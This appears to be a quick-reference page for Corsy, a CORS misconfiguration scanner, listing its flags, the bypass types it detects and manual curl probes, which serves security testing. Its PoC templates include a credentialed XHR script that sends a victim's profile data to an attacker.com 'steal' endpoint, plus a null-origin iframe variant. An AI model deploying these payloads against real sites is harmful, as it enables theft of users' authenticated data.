AeonDave Corsy
CORS misconfiguration scanner — 10+ vuln types, lightweight, fast.
Quick Start
git clone https://github.com/s0md3v/Corsy
cd Corsy && pip3 install requests
# Single URL
python3 corsy.py -u https://target.com
# With authentication
python3 corsy.py -u https://api.target.com -H "Authorization: Bearer TOKEN"
# Bulk scan from file
python3 corsy.py -i urls.txt -t 10
# JSON output
python3 corsy.py -u https://target.com --json > cors.json
Core Flags
| Flag | Purpose |
|---|---|
-u <url> |
Single target URL |
-i <file> |
Input file with one URL per line |
-H "K: V" |
Custom header (auth, cookies) |
-t <N> |
Thread count (default: 2) |
-d <N> |
Delay between requests (ms) |
-q |
Quiet mode (no banner) |
--json |
JSON output |
Misconfiguration Types Detected
| Type | Condition | Exploitable |
|---|---|---|
| Origin Reflection | Server mirrors any Origin header | Critical if +credentials |
| Null Origin | null origin accepted |
Critical (iframe sandbox attack) |
| Pre-domain bypass | evil.target.com accepted |
High |
| Post-domain bypass | target.com.evil.com accepted |
High |
| Underscore bypass | target_evil.com accepted |
High |
| Backtick bypass | Origin with backtick accepted | High |
| Unescaped dot | Regex dot not escaped | Medium |
| Wildcard | Access-Control-Allow-Origin: * |
Medium (no credentials) |
| Wildcard + credentials | * + credentials: true |
Not exploitable (browser blocks) |
| Invalid value | Malformed CORS header | Info |
| Third-party allowed | Unknown domain trusted | High |
| HTTP on HTTPS | HTTP origin trusted | Medium |
Exploitation: What Makes CORS Exploitable
Critical = Access-Control-Allow-Origin: <reflected> + Access-Control-Allow-Credentials: true
# Manual test with curl
curl -H "Origin: https://attacker.com" https://api.target.com/profile -Iv 2>&1 | grep -i "access-control"
# Test null origin
curl -H "Origin: null" https://api.target.com/data -Iv 2>&1 | grep -i "access-control"
# Test pre-domain bypass
curl -H "Origin: https://eviltarget.com" https://api.target.com/ -Iv 2>&1 | grep -i "access-control"
# Preflight (OPTIONS) test
curl -X OPTIONS -H "Origin: https://attacker.com" \
-H "Access-Control-Request-Method: POST" \
https://api.target.com/data -Iv
PoC Templates
Reflected Origin + Credentials (Critical)
<script>
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open('GET', 'https://api.target.com/user/profile', true);
xhr.onload = function() {
fetch('https://attacker.com/steal?d=' + btoa(xhr.responseText));
};
xhr.send();
</script>
Null Origin (via iframe sandbox)
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="
<script>
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open('GET', 'https://api.target.com/sensitive', true);
xhr.onload = function() { alert(xhr.responseText); };
xhr.send();
</script>
"></iframe>
Common Workflows
# API endpoint scan with session cookie
python3 corsy.py -u https://api.target.com \
-H "Cookie: session=abc123; auth=token"
# Scan API paths list
cat api_endpoints.txt | python3 corsy.py -i /dev/stdin -t 20
# Full recon pipeline
cat domains.txt | httpx -silent | python3 corsy.py -i /dev/stdin --json > cors_results.json
Resources
| File | When to load |
|---|---|
references/cors-exploit.md |
Full PoC templates, CORS header explanation, pre-flight vs simple requests, impact examples |